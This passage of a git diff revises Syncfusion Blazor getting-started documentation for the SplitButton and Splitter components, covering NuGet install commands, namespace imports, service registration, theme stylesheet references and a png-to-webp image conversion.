-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.SplitButtons -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -107,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -118,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SplitButtons and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor Split Button** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.SplitButtons -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.SplitButtons -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.SplitButtons` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.SplitButtons` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -151,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -177,24 +131,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Split Button component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Split Button component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Split Button component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfSplitButton Content="Paste">
     <DropDownMenuItems>
@@ -211,12 +165,12 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Split Button com
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/hDhzDWqZppKquUiR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Split Button Component](./images/blazor-splitbutton.png)" %}
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
 
-N> Explore the [Blazor Split Button example](https://blazor.syncfusion.com/demos/buttons/split-button?theme=bootstrap5) that shows how to render and configure the Split Button.
-
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/SplitButton).
 
+N> Explore the [Blazor Split Button example](https://blazor.syncfusion.com/demos/buttons/split-button?theme=bootstrap5) that shows how to render and configure the Split Button.
diff --git a/blazor/splitter/expand-and-collapse.md b/blazor/splitter/expand-and-collapse.md
index 0696b52f07..585e838fd4 100644
--- a/blazor/splitter/expand-and-collapse.md
+++ b/blazor/splitter/expand-and-collapse.md
@@ -62,7 +62,7 @@ The following code shows how to enable collapsible behavior.
 
 ```
 
-![Expand and Collapse in Blazor Splitter](./images/blazor-splitter-expand-collapse.png)
+![Expand and Collapse in Blazor Splitter](./images/blazor-splitter-expand-collapse.webp)
 
 ## Programmatically control the expand and collapse action
 
@@ -139,7 +139,7 @@ The Splitter provides public method to control the expand and collapse behavior
 
 ```
 
-![Expand and Collapse in Blazor Splitter](./images/blazor-splitter-expand-collapse-dynamic.png)
+![Expand and Collapse in Blazor Splitter](./images/blazor-splitter-expand-collapse-dynamic.webp)
 
 ## Specify initial state to panes
 
@@ -198,7 +198,7 @@ Specific panes can be rendered with collapsed state on page load. Specify a Bool
 
 ```
 
-![Expand and Collapse in Blazor Splitter](./images/blazor-splitter-expand-collapse-initial.png)
+![Expand and Collapse in Blazor Splitter](./images/blazor-splitter-expand-collapse-initial.webp)
 
 ## See Also
 
diff --git a/blazor/splitter/getting-started-webapp.md b/blazor/splitter/getting-started-webapp.md
index 0ec113fecf..7824155ca4 100644
--- a/blazor/splitter/getting-started-webapp.md
+++ b/blazor/splitter/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Layouts
+
 <div>Horizontal Splitter</div>
 
 <SfSplitter Height="240px" Width="100%">
@@ -203,7 +205,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Splitter component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBTNWqXTTzLolQw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Splitter Component](./images/blazor-splitter.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBTNWqXTTzLolQw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Splitter Component](./images/blazor-splitter.webp)" %}
 
 ## See also
 
diff --git a/blazor/splitter/getting-started.md b/blazor/splitter/getting-started.md
index 6599742408..982e1076e9 100644
--- a/blazor/splitter/getting-started.md
+++ b/blazor/splitter/getting-started.md
@@ -11,9 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Splitter Component
 
-This section briefly explains about how to include [Blazor Splitter](https://www.syncfusion.com/blazor-components/blazor-splitter) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor Splitter component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Splitter) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Splitter](https://www.syncfusion.com/blazor-components/blazor-splitter) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -27,23 +25,6 @@ To get start quickly with Blazor Splitter component, refer to this [GitHub](http
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Layouts and Themes NuGet in the App
-
-To add the **Blazor Splitter** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Layouts -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -56,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -69,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Layouts and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Layouts -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -107,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -118,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Layouts and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor Splitter** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Layouts](https://www.nuget.org/packages/Syncfusion.Blazor.Layouts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Layouts -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Layouts -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Layouts` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Layouts` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -151,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -177,24 +131,26 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Splitter component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Splitter component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Splitter component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Layouts
 
 <div>Horizontal Splitter</div>
 
@@ -232,9 +188,11 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Splitter compone
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Splitter component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBTNWqXTTzLolQw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Splitter Component](./images/blazor-splitter.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBTNWqXTTzLolQw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Splitter Component](./images/blazor-splitter.webp)" %}
+
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Splitter).
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 
diff --git a/blazor/splitter/images/add-pane.png b/blazor/splitter/images/add-pane.png
deleted file mode 100644
index a843182494..0000000000
Binary files a/blazor/splitter/images/add-pane.png and /dev/null differ
diff --git a/blazor/splitter/images/add-pane.webp b/blazor/splitter/images/add-pane.webp
new file mode 100644
index 0000000000..2f6eb7b302
Binary files /dev/null and b/blazor/splitter/images/add-pane.webp differ
diff --git a/blazor/splitter/images/auto-sizing-panes.png b/blazor/splitter/images/auto-sizing-panes.png
deleted file mode 100644
index fad37290b9..0000000000
Binary files a/blazor/splitter/images/auto-sizing-panes.png and /dev/null differ
diff --git a/blazor/splitter/images/auto-sizing-panes.webp b/blazor/splitter/images/auto-sizing-panes.webp
new file mode 100644
index 0000000000..a1682188af
Binary files /dev/null and b/blazor/splitter/images/auto-sizing-panes.webp differ
diff --git a/blazor/splitter/images/blazor-create-web-app.png b/blazor/splitter/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/splitter/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-create-web-app.webp b/blazor/splitter/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/splitter/images/blazor-create-web-app.webp differ
diff --git a/blazor/splitter/images/blazor-nested-splitter.png b/blazor/splitter/images/blazor-nested-splitter.png
deleted file mode 100644
index ebb3a961d1..0000000000
Binary files a/blazor/splitter/images/blazor-nested-splitter.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-nested-splitter.webp b/blazor/splitter/images/blazor-nested-splitter.webp
new file mode 100644
index 0000000000..3e6636567d
Binary files /dev/null and b/blazor/splitter/images/blazor-nested-splitter.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-content-html-markup.png b/blazor/splitter/images/blazor-splitter-content-html-markup.png
deleted file mode 100644
index b351266497..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-content-html-markup.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-content-html-markup.webp b/blazor/splitter/images/blazor-splitter-content-html-markup.webp
new file mode 100644
index 0000000000..5e21608f90
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-content-html-markup.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-custom-gripper.png b/blazor/splitter/images/blazor-splitter-custom-gripper.png
deleted file mode 100644
index 47bec6e738..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-custom-gripper.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-custom-gripper.webp b/blazor/splitter/images/blazor-splitter-custom-gripper.webp
new file mode 100644
index 0000000000..fb22ba0057
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-custom-gripper.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-data-binding.png b/blazor/splitter/images/blazor-splitter-data-binding.png
deleted file mode 100644
index a80f811bc9..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-data-binding.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-data-binding.webp b/blazor/splitter/images/blazor-splitter-data-binding.webp
new file mode 100644
index 0000000000..1c26f090f7
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-data-binding.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-expand-collapse-dynamic.png b/blazor/splitter/images/blazor-splitter-expand-collapse-dynamic.png
deleted file mode 100644
index b654e84d4e..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-expand-collapse-dynamic.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-expand-collapse-dynamic.webp b/blazor/splitter/images/blazor-splitter-expand-collapse-dynamic.webp
new file mode 100644
index 0000000000..56d0d23df3
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-expand-collapse-dynamic.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-expand-collapse-initial.png b/blazor/splitter/images/blazor-splitter-expand-collapse-initial.png
deleted file mode 100644
index 9905daa21b..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-expand-collapse-initial.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-expand-collapse-initial.webp b/blazor/splitter/images/blazor-splitter-expand-collapse-initial.webp
new file mode 100644
index 0000000000..fbeaca5bd4
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-expand-collapse-initial.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-expand-collapse.png b/blazor/splitter/images/blazor-splitter-expand-collapse.png
deleted file mode 100644
index 7dcc878b92..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-expand-collapse.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-expand-collapse.webp b/blazor/splitter/images/blazor-splitter-expand-collapse.webp
new file mode 100644
index 0000000000..4bcc6936b1
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-expand-collapse.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-percentage.png b/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-percentage.png
deleted file mode 100644
index 5b29f87035..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-percentage.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-percentage.webp b/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-percentage.webp
new file mode 100644
index 0000000000..f6a7a1a27b
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-percentage.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-pixel.png b/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-pixel.png
deleted file mode 100644
index 28deef4a7e..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-pixel.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-pixel.webp b/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-pixel.webp
new file mode 100644
index 0000000000..98590b1472
